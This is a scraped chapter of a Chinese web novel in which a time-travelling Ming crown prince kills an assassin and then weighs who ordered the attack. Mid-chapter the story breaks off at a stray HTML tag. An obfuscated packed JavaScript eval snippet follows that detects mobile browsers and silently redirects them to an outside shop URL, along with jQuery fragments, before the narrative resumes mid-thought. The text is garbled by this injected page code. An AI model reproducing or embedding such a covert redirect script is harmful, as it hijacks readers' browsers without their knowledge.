18.第 18 章

作品:《回到明末当暴君[穿书]

    在傅氏兄妹惊惶失措的时候,朱慈煋眼角余光还能看到他们两个躲避都躲避得特别有水平。


    正好处在一个隐蔽视野却能覆盖整个营帐的位置。


    不过这个时候他也没那么多精力去关注他们,在黑衣人出现的一瞬间,他没有选择躲避,而是十分干脆果断地站起来将面前的书案一掀一提,双手举着书桌当盾牌就撞了过去。


    刺客显然也没想到他反应这么快,猝不及防之下两个人立刻闪身躲避,只是那书案很长,就算他们闪身也还是被撞了一下。


    其中一个刺客反应也快,眼看那张桌子只遮挡住了朱慈煋上半身,便直接蹲下来一边躲避一边试图去砍朱慈煋的脚。


    不过朱慈煋虽然冲得猛,却也没真的打算依靠这张桌子把刺客撞出去。


    主要是力气不够,他能把这张书案举起来都是最近锻炼的成果了。


    这具身体的底子实在有点差,两个月的时间还不足以让他的体质突飞猛进。


    当然最主要的是他也不放心把后背留给傅氏兄妹。


    朱慈煋撞到两个人之后就停了下来,直接把桌子往地上一砸,矮身偷袭的刺客不得不躲避开来。


    不过他终究慢了一步,双手刺出的柳叶刀被桌子压在了下面,他刚要抽出,朱慈煋就一脚踩在了其中一把柳叶刀上面。


    同时蹲下身体躲开另外一个人的柳叶刀,右手拔出匕首身体扭转以一个十分匪夷所思的动作刺中站立刺客的脾脏。


    脾脏是人体重要器官之一,一旦受伤不仅会引起剧烈疼痛,还会引起大出血导致休克甚至死亡。


    朱慈煋刺中对方脾脏之后十分果断地将手里的匕首拧了一圈。


    刺客感受到剧烈疼痛之后有些不可思议地低下头看向朱慈煋,接触到对方冷酷且杀气四溢的目光之后,不由得一阵恍惚。


    这跟他们之前计划的不一样啊。


    然而朱慈煋在确认他受伤之后就将注意力转移到另外一个刺客身上,直接拔出了匕首,掀开桌子朝着另外一个刺客右手手腕扎过去。


    刺客无奈之下只能放弃右手的柳叶刀,朱慈煋自然是立刻捡起柳叶刀。


    就在这个时候,傅秋露忽然喊了一句:“殿下小心!”


    喊完傅秋露就直接冲了过来。


    朱慈煋虽然在跟这两个刺客搏斗,实际上一直有一份心神放在了傅氏兄妹身上,不管他的动作是什么都保证傅氏兄妹在他的余光之中。


    是以他第一时间就发现了傅秋露冲过来,并且直接放弃了乘胜追击的机会,身体一扭就躲开了对方的路径。


    而这时候受伤刺客也拼命刺出一刀,正好刺向冲过来的傅秋露。


    “小妹!”傅春生立刻也跟着冲了过来撞了一下傅秋露,让她避开要害,只被划伤了左臂。


    朱慈煋一边后退一边微微眯了一下眼睛。


    刚刚那一瞬间刺客的柳叶刀稍微停顿了一下,否则就算傅春生过去,那柳叶刀也必然会刺进傅秋露的肩头。


    此时帐外脚步声越来越大,朱慈煋也不再冒险跟刺客对峙。


    不过显然没有受伤的刺客也很清楚接下来局面对他们不利,是以直接绕过傅氏兄妹冲着朱慈煋过来。


    只有一个刺客,而且朱慈煋只需要躲避,那就容易许多了。


    锦衣卫终于姗姗来迟。


    锦衣卫千户申方信带着手下校尉喊着:“保护太子殿下。”就冲了进来。


    进了营帐之后,锦衣卫迅速控制住了两名刺客。


    不过申方信却感觉到一股寒意。


    此时太子殿下头发略有些散乱,白皙的脸上有着星星点点的暗红色血迹,一手握着柳叶刀一手攥着匕首,匕首上甚至还有血液滴落。


    他就那么平静地站在那里,面无表情目光沉静,然而却比惊惶失措大喊大叫甚至暴跳如雷都让人觉得可怕。


    申方信硬着头皮走过去拱手说道:“末将救护来迟,还请殿下责罚。”


    朱慈煋语气也很平静只说了一个字:“查。”


    申方信低头应道:“是。”


    朱慈煋没再理会他,他看向急急忙忙走过来的葛旭东问道:“你去哪儿了?”


    葛旭东面色惨白直接跪在地上说道:“回殿下,今日内臣以及手下饮食被人做了手脚,一入夜便腹痛不止,未曾护在殿下身旁,内臣该死。”


    朱慈煋一脸的若有所思:“所有宦官饮食都被人做了手脚?”


    葛旭东也不傻,立刻说道:“殿下,使团之中必有贼人内应!”


    朱慈煋看向申方信问道:“听到了?知道该怎么查了吗?”


    申方信额头的汗都要滴下来了,咬牙说道:“末将知晓。”


    朱慈煋挥挥手说道:“下去吧,孤不管你怎么查,孤只要结果。”


    申方信带人下去之后,朱慈煋看了一眼葛旭东轻描淡写说道:“找人把这里收拾干净,再唤太医来给她治伤,顺便也给你们开几服止泻的药。”


    葛旭东本来已经做好挨罚的准备,结果没想到太子殿下轻描淡写就揭过去了,他有些不可置信地抬头看向朱慈煋。


    朱慈煋接到他的目光问道:“怎么?还有问题?”


    葛旭东立刻低头说道:“内臣这就去办,还请殿下暂且去内臣帐中休息。”


    朱慈煋当然不会反对,他自己的营帐已经一塌糊涂,去不别的地方下人也没办法收拾。


    等到了葛旭东帐内之后,葛旭东立刻吩咐手下的小宦官做各种事情,自己则死死守在朱慈煋身边,伺候他洗漱不肯离开半步。


    朱慈煋一边清理脸上溅到的血迹更换衣服一边大脑飞速转动。


    直到这个时候他才有空闲去猜测这次行刺的目的以及背后主使。


    首先要排除的就是皇帝、高弘图、马士英。


    对于皇帝来说,单纯杀他不划算,最划算的自然是等朱慈烺跟他在一起的时候,直接一次性干掉两个太子才安全。


    退一万步说,朱由崧的确不喜欢太子的位子上有人,哪怕那是他的儿子。


    但朱慈煋比起朱慈烺来,对他的威胁要小得多。


    毕竟朱慈烺才是正统继承人,朱由崧如果不想退位就得承认朱慈烺的太子地位,承诺日后让朱慈烺继位。


    不过就算如此,东林党也未必答应,哪怕朱慈烺只比朱慈煋大一岁,年纪也不小了,而且朱慈烺十岁的时候就行了冠礼,别管他现在多大,在法律上讲他已经是成年人。


    高弘图就更不用说了,他巴不得快点确认朱慈烺的身份,好拥立正统太子,东林党翻身继续把持朝政。


    至于马士英……这个人虽然态度矛盾,但他没有理由杀朱慈煋。


    换句话来说,对于高弘图和马士英,他这个太子没什么分量。


    那么会是谁呢?</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156963|196331||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    这两个刺客甚至还可能认识傅氏兄妹,傅氏兄妹身上到底有多少层身份?


    朱慈煋本来想要等调查结果,只是没想到申方信把刺客带下去之后就让人禀报了一个消息——那两个刺客没有舌头。


    朱慈煋:……


    这就是死士啊,不能说话,还大概率不认字,想问什么都问不出来。


    朱慈煋看着跪在下面的锦衣卫轻描淡写说道:“锦衣卫的手段应该不止如此吧?传令上下,且在此地停留几日,葛旭东,取题本来,孤要上奏父皇。”


    锦衣卫重重叩首退下,将消息带到了申方信那里。


    此时正在让人详细查看刺客身份的申方信听了之后长出口气说道:“太子殿下宽仁,尔等要尽心竭力!”


    按照正常情况,别管主谋是谁,太子遇刺就得死一批人,值守的宦官锦衣卫一个都跑不了。


    现在朱慈煋没发话,他们的命算是暂时保住了。


    哪怕刺客不能说话,也不代表不能从他们身上查到东西。


    更何况在刺杀发生的时候,太子殿下的营帐外面竟然无人防守,出现了短时间的空当,这个空当是怎么来的,谁安排的,顺藤摸瓜总能查到。


    其实申方信还想提审葛旭东,但眼看葛旭东一直跟在太子身边,他犹豫了一下,直接找到太子殿下说道:“殿下,末将有话要问葛总管。”


    朱慈煋看了一眼葛旭东点头说道:“你们出去问吧。”


    葛旭东的心顿时提了起来,张了张嘴想说太子殿下身边需有人伺候。


    但一想到刚才太子身边最需要人的时候他不在,他也就闭上了嘴,低着头跟申方信一同退着走了出去。


    不过在他们出去之前,朱慈煋开口说道:“了解一下情况就好,葛总管一向忠心,不会与贼人同流合污。”


    申方信脚步一顿,犹豫了一下还是应道:“末将领命。”


    葛旭东顿时感激地对着朱慈煋行礼,有了太子殿下这句话,他就可以免除刑讯之苦,否则……落入锦衣卫手里还能有什么好?


    朱慈煋本来也没想为难他,自己死了,葛旭东也得跟着陪葬,除非皇帝暗中命令并且承诺保他一命。


    不过就算承诺保他,也是死罪可免活罪难逃。


    最主要的是还不一定能保下来。


    皇帝派人暗杀太子,这话说出去估计都没几个人相信。


    皇帝想杀儿子还这么偷偷摸摸,有失体统啊。


    虽然李隆基曾经一日杀三子,但那也是太子谋反在前。


    不管太子是不是真的谋反,至少他真的带着护卫和武器进宫,证据确凿。


    朱慈煋这里从来没有任何出格举动,朱由崧抓不到把柄只能找机会下手,可这是万万不能让朝臣知道的,一旦朝臣知道,大明必定分崩离析。


    皇帝都能暗杀太子,还有什么事情做不出来?


    朱慈煋一边想着一边准备继续写奏折,结果突然回过神来——葛旭东被带走了,他没有代笔了啊。


    他也懒得再去找人过来,直接用自己那手狗爬字写了一份奏折。


    幸好他这段时间也好好练了练字,哪怕不好看也能称得上工整了。


    而他这边刚安排人将奏折送到南京,那边申方信便和葛旭东一同回来禀报。


    申方信跪在下面,额头触地说道:“殿下,末将无能,未曾找到真正的幕后主使。”